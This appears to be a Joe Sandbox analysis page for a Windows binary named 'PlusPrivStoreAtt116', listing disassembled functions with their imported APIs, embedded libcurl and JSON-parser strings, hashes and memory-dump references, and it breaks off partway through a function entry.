String ID: ;binary$DN: $LDAP local: %s$LDAP local: %s$LDAP local: Cannot connect to %s:%ld$LDAP local: LDAP Vendor = %s ; LDAP Version = %d$LDAP local: bind via ldap_win_bind %s$LDAP local: trying to establish %s connection$LDAP remote: %s$Microsoft Corporation.$There are more than %d entries$cleartext$encrypted
API String ID: 2742731861-78870445
Opcode ID: f405d4c1ee1995a0028c1884dbf4717be004cac129fbdb6505203f7f79021bac
Instruction ID: 934772711941b3f77f70c71f61dd1f5652c6f6f3582767e33ef7954a12fd2dba
Opcode Fuzzy Hash: f405d4c1ee1995a0028c1884dbf4717be004cac129fbdb6505203f7f79021bac
Instruction Fuzzy Hash: 6F427936B08B4286FB14DB6294542BD2BA4FF49B9CF604435CE4E97B96EEBCE445C300

Function 00007FF6029A956D Relevance: 78.0, APIs: 39, Strings: 5, Instructions: 975COMMON

Download Yara Rule

APIs

?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 00007FF6029A9F6D
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 00007FF6029A9F74
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AA054
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AA082
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AA090
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AA0CB

Strings

object key, xrefs: 00007FF6029A9DFF, 00007FF6029AA639
object, xrefs: 00007FF6029AA319
array, xrefs: 00007FF6029AA18A
object separator, xrefs: 00007FF6029A9C73, 00007FF6029AA4AA
number overflow parsing ', xrefs: 00007FF6029A9F90

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: Xbad_function_call@std@@__std_exception_destroy_invalid_parameter_noinfo_noreturn
String ID: array$number overflow parsing '$object$object key$object separator
API String ID: 1664669839-85532522
Opcode ID: ff3d0cbacaad0d0a51ccb3e8a1d91a7be11594ec6d960498e764185c0d18bc74
Instruction ID: 2fdce401342a447652ba70405b2797c1b14e11edabfbc49bfceb239f2100cf2a
Opcode Fuzzy Hash: ff3d0cbacaad0d0a51ccb3e8a1d91a7be11594ec6d960498e764185c0d18bc74
Instruction Fuzzy Hash: 1DA2B462E18B8686FF10CB69D4843AD2B61FF457A8F604235DA5D47ADADFBCD085C340

Function 00007FF6029AAC0D Relevance: 74.4, APIs: 37, Strings: 5, Instructions: 925COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AB5A4
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AB5D2
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AB5E0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AB61A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AB677
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AB730
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AB75E
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AB76C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AB7A6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AB803

Part of subcall function 00007FF6029AF1C0: memcmp.VCRUNTIME140 ref: 00007FF6029AF24D
Part of subcall function 00007FF6029AF1C0: memcmp.VCRUNTIME140 ref: 00007FF6029AF2D1

Strings

object key, xrefs: 00007FF6029AB69C, 00007FF6029ABEC8
object, xrefs: 00007FF6029ABBA8
array, xrefs: 00007FF6029ABA19
object separator, xrefs: 00007FF6029AB510, 00007FF6029ABD39
number overflow parsing ', xrefs: 00007FF6029AB81F

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy$memcmp
String ID: array$number overflow parsing '$object$object key$object separator
API String ID: 969624648-85532522
Opcode ID: f9d409bb1570a7bc1a3b700e8076b91a79d4647d5286ea2af65b5e402d2271bc
Instruction ID: 8f0ecb293cea4c3b9c3221a90ad39104832c6a0eb134f7e347b88b2a56a4e041
Opcode Fuzzy Hash: f9d409bb1570a7bc1a3b700e8076b91a79d4647d5286ea2af65b5e402d2271bc
Instruction Fuzzy Hash: D792D662E18B8582EF10CB69D4943AD2B61FF557ACF604231DA6D87ADADFBCD085C340

Function 00007FF6029F63E0 Relevance: 72.3, APIs: 17, Strings: 24, Instructions: 549encryptionCOMMON

Download Yara Rule

APIs

CertOpenStore.CRYPT32 ref: 00007FF6029F654F
GetLastError.KERNEL32 ref: 00007FF6029F6562
CertCreateCertificateChainEngine.CRYPT32 ref: 00007FF6029F6614
GetLastError.KERNEL32 ref: 00007FF6029F661E
CertGetCertificateChain.CRYPT32 ref: 00007FF6029F66AB
GetLastError.KERNEL32 ref: 00007FF6029F66B5
CertGetNameStringA.CRYPT32 ref: 00007FF6029F6823
CertFreeCertificateChainEngine.CRYPT32 ref: 00007FF6029F6C9B
CertCloseStore.CRYPT32 ref: 00007FF6029F6CB0
CertFreeCertificateChain.CRYPT32 ref: 00007FF6029F6CC0
CertFreeCertificateContext.CRYPT32 ref: 00007FF6029F6CD0

Strings

schannel: CertFindExtension() returned no extension., xrefs: 00007FF6029F689B, 00007FF6029F6A37
schannel: CertGetCertificateChain trust error CERT_TRUST_REVOCATION_STATUS_UNKNOWN, xrefs: 00007FF6029F6779
schannel: Empty DNS name., xrefs: 00007FF6029F692A, 00007FF6029F6AD8
schannel: failed to create certificate store: %s, xrefs: 00007FF6029F657C
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_REVOKED, xrefs: 00007FF6029F671D
schannel: CertGetNameString() returned certificate name information of unexpected size, xrefs: 00007FF6029F6B63
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_NOT_TIME_VALID, xrefs: 00007FF6029F6762
schannel: failed to create certificate chain engine: %s, xrefs: 00007FF6029F6638
2.5.29.17, xrefs: 00007FF6029F6883, 00007FF6029F68B4, 00007FF6029F6A1F, 00007FF6029F6A5B
schannel: CryptDecodeObjectEx() returned no alternate name information., xrefs: 00007FF6029F68EE, 00007FF6029F6A95
schannel: CertGetCertificateChain failed: %s, xrefs: 00007FF6029F66CF
schannel: Null certificate info., xrefs: 00007FF6029F6873, 00007FF6029F6A04
schannel: CertGetCertificateChain error mask: 0x%08x, xrefs: 00007FF6029F678A
schannel: Failed to read remote certificate context: %s, xrefs: 00007FF6029F6C4D
schannel: connection hostname (%s) validated against certificate name (%s), xrefs: 00007FF6029F6BC9
schannel: Null certificate context., xrefs: 00007FF6029F6838, 00007FF6029F69E7
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_UNTRUSTED_ROOT, xrefs: 00007FF6029F674C
schannel: Not enough memory to list all host names., xrefs: 00007FF6029F6B4C
schannel: server certificate name verification failed, xrefs: 00007FF6029F6C0E
schannel: connection hostname (%s) did not match against certificate name (%s), xrefs: 00007FF6029F6BD9
schannel: CertGetNameString() failed to match connection hostname (%s) against server certificate names, xrefs: 00007FF6029F6C26
schannel: CertGetNameString() returned no certificate name information, xrefs: 00007FF6029F696D
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_PARTIAL_CHAIN, xrefs: 00007FF6029F6735
schannel: this version of Windows is too old to support certificate verification via CA bundle file., xrefs: 00007FF6029F6521

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: Cert$Certificate$Chain$ErrorFreeLast$EngineStore$CloseContextCreateNameOpenString
String ID: 2.5.29.17$schannel: CertFindExtension() returned no extension.$schannel: CertGetCertificateChain error mask: 0x%08x$schannel: CertGetCertificateChain failed: %s$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_NOT_TIME_VALID$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_PARTIAL_CHAIN$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_REVOKED$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_UNTRUSTED_ROOT$schannel: CertGetCertificateChain trust error CERT_TRUST_REVOCATION_STATUS_UNKNOWN$schannel: CertGetNameString() failed to match connection hostname (%s) against server certificate names$schannel: CertGetNameString() returned certificate name information of unexpected size$schannel: CertGetNameString() returned no certificate name information$schannel: CryptDecodeObjectEx() returned no alternate name information.$schannel: Empty DNS name.$schannel: Failed to read remote certificate context: %s$schannel: Not enough memory to list all host names.$schannel: Null certificate context.$schannel: Null certificate info.$schannel: connection hostname (%s) did not match against certificate name (%s)$schannel: connection hostname (%s) validated against certificate name (%s)$schannel: failed to create certificate chain engine: %s$schannel: failed to create certificate store: %s$schannel: server certificate name verification failed$schannel: this version of Windows is too old to support certificate verification via CA bundle file.
API String ID: 561913010-2037819326
Opcode ID: b935490779b87931a9e513bbba229981ddc6e9c0cf9a56c44816dddb722aa26a
Instruction ID: b465c610e27210fa408c78f069d2788448e320266f2af9f9c35cfed77c02cccb
Opcode Fuzzy Hash: b935490779b87931a9e513bbba229981ddc6e9c0cf9a56c44816dddb722aa26a
Instruction Fuzzy Hash: 4142A232A08B4281EB908F16D4402BA7BA5FF44B9CF604535EE6D8779ADFBCE945D700

Function 00007FF6029E5300 Relevance: 67.0, APIs: 25, Strings: 13, Instructions: 515networkCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E53E1
getsockname.WS2_32 ref: 00007FF6029E55DA
WSAGetLastError.WS2_32 ref: 00007FF6029E55E4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E5B1B

Strings

PORT, xrefs: 00007FF6029E5A22
bind() failed, we ran out of ports!, xrefs: 00007FF6029E57D6
%s %s, xrefs: 00007FF6029E5A29
getsockname() failed: %s, xrefs: 00007FF6029E55FE, 00007FF6029E580E
%s |%d|%s|%hu|, xrefs: 00007FF6029E5AA9
bind(port=%hu) on non-local address failed: %s, xrefs: 00007FF6029E5774
,%d,%d, xrefs: 00007FF6029E59F9
EPRT, xrefs: 00007FF6029E5A92
Failure sending EPRT command: %s, xrefs: 00007FF6029E5ACF
Failure sending PORT command: %s, xrefs: 00007FF6029E5A4C
bind(port=%hu) failed: %s, xrefs: 00007FF6029E5845
failed to resolve the address provided to PORT: %s, xrefs: 00007FF6029E5B09
socket failure: %s, xrefs: 00007FF6029E56DF, 00007FF6029E58E6

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLastcallocfreegetsockname
String ID: %s %s$%s |%d|%s|%hu|$,%d,%d$EPRT$Failure sending EPRT command: %s$Failure sending PORT command: %s$PORT$bind() failed, we ran out of ports!$bind(port=%hu) failed: %s$bind(port=%hu) on non-local address failed: %s$failed to resolve the address provided to PORT: %s$getsockname() failed: %s$socket failure: %s
API String ID: 2454324209-2383553807
Opcode ID: c19a01eb95568aceb0747d3f50878cc69756e1387af8f720870ff59157fdf996
Instruction ID: ab155b2421a06896f763f676a4860538bfd13676f8e46c00a9fb8743d48f4066
Opcode Fuzzy Hash: c19a01eb95568aceb0747d3f50878cc69756e1387af8f720870ff59157fdf996
Instruction Fuzzy Hash: 5E22C671A0878281EF509B22E4503BE6B61FF45B8CFA54432EE4EC7696EEBCE544C700

Function 00007FF6029BF9F0 Relevance: 52.8, APIs: 25, Strings: 5, Instructions: 254stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BFA56
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BFA7D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BFAD8

Strings

public key hash: sha256//%s, xrefs: 00007FF6029BFAEE
;sha256//, xrefs: 00007FF6029BFB50
-----BEGIN PUBLIC KEY-----, xrefs: 00007FF6029BFCAA
-----END PUBLIC KEY-----, xrefs: 00007FF6029BFCDE
sha256//, xrefs: 00007FF6029BFA4C, 00007FF6029BFB9E

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemallocstrncmp
String ID: public key hash: sha256//%s$-----END PUBLIC KEY-----$-----BEGIN PUBLIC KEY-----$;sha256//$sha256//
API String ID: 1436789207-471711153
Opcode ID: 58d30d26db40d09852eb253e9d0528ffbcf238b4f2f85144f748f00477786c5f
Instruction ID: c6c2355e87ec211cb7da9ad11e75e91aaa162997aba30d5a67fc6f091ebf4f7f
Opcode Fuzzy Hash: 58d30d26db40d09852eb253e9d0528ffbcf238b4f2f85144f748f00477786c5f
Instruction Fuzzy Hash: B6A1A321B0974281FF569B2399643796F90AF85BD8F684431EE4E87B96EFBCE445C300

Function 00007FF6029F6D00 Relevance: 52.8, APIs: 17, Strings: 13, Instructions: 253fileCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6029F6D46

Part of subcall function 00007FF6029B2F50: GetLastError.KERNEL32 ref: 00007FF6029B2F6C
Part of subcall function 00007FF6029B2F50: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2F74

CreateFileA.KERNEL32 ref: 00007FF6029F6DA0
GetLastError.KERNEL32 ref: 00007FF6029F6DB1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F70ED

Strings

schannel: failed to open CA file '%s': %s, xrefs: 00007FF6029F6DCB
schannel: CA file exceeds max size of %u bytes, xrefs: 00007FF6029F6E49
schannel: did not add any certificates from CA file '%s', xrefs: 00007FF6029F70B2
-----END CERTIFICATE-----, xrefs: 00007FF6029F6F19
schannel: failed to add certificate from CA file '%s' to certificate store: %s, xrefs: 00007FF6029F7026
schannel: invalid path name for CA file '%s': %s, xrefs: 00007FF6029F6D60
schannel: failed to read from CA file '%s': %s, xrefs: 00007FF6029F6FF0
schannel: added %d certificate(s) from CA file '%s', xrefs: 00007FF6029F70C3
schannel: CA file '%s' is not correctly formatted, xrefs: 00007FF6029F7091
schannel: unexpected content type '%d' when extracting certificate from CA file '%s', xrefs: 00007FF6029F7045
-----BEGIN CERTIFICATE-----, xrefs: 00007FF6029F6EEE
schannel: failed to determine size of CA file '%s': %s, xrefs: 00007FF6029F6E12
schannel: failed to extract certificate from CA file '%s': %s, xrefs: 00007FF6029F7075

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast$CreateFile_errnofree
String ID: -----END CERTIFICATE-----$-----BEGIN CERTIFICATE-----$schannel: CA file '%s' is not correctly formatted$schannel: CA file exceeds max size of %u bytes$schannel: added %d certificate(s) from CA file '%s'$schannel: did not add any certificates from CA file '%s'$schannel: failed to add certificate from CA file '%s' to certificate store: %s$schannel: failed to determine size of CA file '%s': %s$schannel: failed to extract certificate from CA file '%s': %s$schannel: failed to open CA file '%s': %s$schannel: failed to read from CA file '%s': %s$schannel: invalid path name for CA file '%s': %s$schannel: unexpected content type '%d' when extracting certificate from CA file '%s'
API String ID: 1377488173-902404565
Opcode ID: a834209b03510363acd86a0650be8dc52f947bcd32ec28d5deee2e8a0e5eb66c
Instruction ID: 18c6acab316e8689d14e8ed9eeb255b9af061da52abc712cc62df422677c6bda
Opcode Fuzzy Hash: a834209b03510363acd86a0650be8dc52f947bcd32ec28d5deee2e8a0e5eb66c
Instruction Fuzzy Hash: 3EB1B432B0874282F7908B66E4446BA6BA5BF48B8CF644435ED4DC7B9ADFBCE505C700

Function 00007FF6029C3C40 Relevance: 51.2, APIs: 21, Strings: 8, Instructions: 401stringCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF6029C3C9A
memset.VCRUNTIME140 ref: 00007FF6029C3CAF
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C3CCB
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C3CF2
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C3D69
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C3D9C
strchr.VCRUNTIME140 ref: 00007FF6029C3E86
strchr.VCRUNTIME140 ref: 00007FF6029C3ECB
strchr.VCRUNTIME140 ref: 00007FF6029C3EFB
tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C3FA3

Part of subcall function 00007FF6029DC850: realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029C0DC9,?,?,?,?,00007FF6029C016B), ref: 00007FF6029DC878
Part of subcall function 00007FF6029DC850: GetEnvironmentVariableA.KERNEL32(?,?,?,00007FF6029C0DC9,?,?,?,?,00007FF6029C016B), ref: 00007FF6029DC89E
Part of subcall function 00007FF6029DC850: realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029C0DC9,?,?,?,?,00007FF6029C016B), ref: 00007FF6029DC8BF
Part of subcall function 00007FF6029DC850: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029C0DC9,?,?,?,?,00007FF6029C016B), ref: 00007FF6029DC8D0

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C4076
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C40A5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C40CB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C40F7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C4105
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C4117
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C42BA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C42C3

Strings

http_proxy, xrefs: 00007FF6029C3FED
memory shortage, xrefs: 00007FF6029C3D77
Uses proxy env variable %s == '%s', xrefs: 00007FF6029C3DFC, 00007FF6029C405A
_proxy, xrefs: 00007FF6029C3FB9
no_proxy, xrefs: 00007FF6029C3DC1
NO_PROXY, xrefs: 00007FF6029C3DDD
all_proxy, xrefs: 00007FF6029C4029
ALL_PROXY, xrefs: 00007FF6029C4040

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$strchr$_strdupmemsetreallocstrncpy$EnvironmentVariabletolower
String ID: ALL_PROXY$NO_PROXY$Uses proxy env variable %s == '%s'$_proxy$all_proxy$http_proxy$memory shortage$no_proxy
API String ID: 1339443121-1021110354
Opcode ID: 6bc8b8b9fc8dea0811d921a639721ce66a767e2fac15155573d17300a4e66ccc
Instruction ID: 2077ab8fe16a3e3a0746e68fa6f5fce3027e3ec02fa5d1158809b4737c700b12
Opcode Fuzzy Hash: 6bc8b8b9fc8dea0811d921a639721ce66a767e2fac15155573d17300a4e66ccc
Instruction Fuzzy Hash: 3F02A121A0C78285EB61CB12A4543BA6BA4FF95B8CF785435DE8D87786DFBCE044C700

Function 00007FF6029DA90C Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 203stringfileCOMMON

Download Yara Rule

APIs

strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF6029DA9A8
strchr.VCRUNTIME140 ref: 00007FF6029DA9D4
strchr.VCRUNTIME140 ref: 00007FF6029DAA0E
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029DAA32
strchr.VCRUNTIME140 ref: 00007FF6029DAB42
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029DAB5A
fopen.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029DAC85
fseek.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029DACB1

Strings

schannel: Failed to import cert file %s, password is bad, xrefs: 00007FF6029DADE9
CurrentUser, xrefs: 00007FF6029DAA22
, xrefs: 00007FF6029DA90C

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strchr$_strdupfopenfseekstrncmpstrtol
String ID: $CurrentUser$schannel: Failed to import cert file %s, password is bad
API String ID: 4221717217-4282655970
Opcode ID: 40a713b8b59d1049f2dd071324f05e575ca4a88e1dc44f461c2b7a7c0fa936f8
Instruction ID: 3ab92ea3f82cc62c2045e36ce469c0ece7c71ca177be72214bb4714d503b417d
Opcode Fuzzy Hash: 40a713b8b59d1049f2dd071324f05e575ca4a88e1dc44f461c2b7a7c0fa936f8
Instruction Fuzzy Hash: 57819F21B0974286FB598F22D8543BA2A90BF45BACF684135CE5E877D2EFBCE454D300

Function 00007FF6029A974B Relevance: 37.3, APIs: 18, Strings: 3, Instructions: 509COMMON

Download Yara Rule

APIs

?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 00007FF6029A9F74
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AA054
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AA082
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AA090
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AA0CB
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AA10A

Strings

object, xrefs: 00007FF6029AA319
array, xrefs: 00007FF6029AA18A
number overflow parsing ', xrefs: 00007FF6029A9F90

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy$Xbad_function_call@std@@
String ID: array$number overflow parsing '$object
API String ID: 958247072-579821726
Opcode ID: 7d08be5014e241e1996b359722984978a2474af68dff6998a59ef9cca349c1e5
Instruction ID: 013b15259325cde83905266dfd5828297d026caf9b814c2e58c884592e85558c
Opcode Fuzzy Hash: 7d08be5014e241e1996b359722984978a2474af68dff6998a59ef9cca349c1e5
Instruction Fuzzy Hash: 6032C062E18B8686EF10CB69D4843ED2761FF457A8F604235DA5D87ADADFBCE184C340

Function 00007FF6029DA915 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 202stringfileCOMMON

Download Yara Rule

APIs

strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF6029DA9A8
strchr.VCRUNTIME140 ref: 00007FF6029DA9D4
strchr.VCRUNTIME140 ref: 00007FF6029DAA0E
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029DAA32
strchr.VCRUNTIME140 ref: 00007FF6029DAB42
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029DAB5A
fopen.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029DAC85
fseek.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029DACB1

Strings

schannel: Failed to import cert file %s, password is bad, xrefs: 00007FF6029DADE9
CurrentUser, xrefs: 00007FF6029DAA22

Memory Dump Source

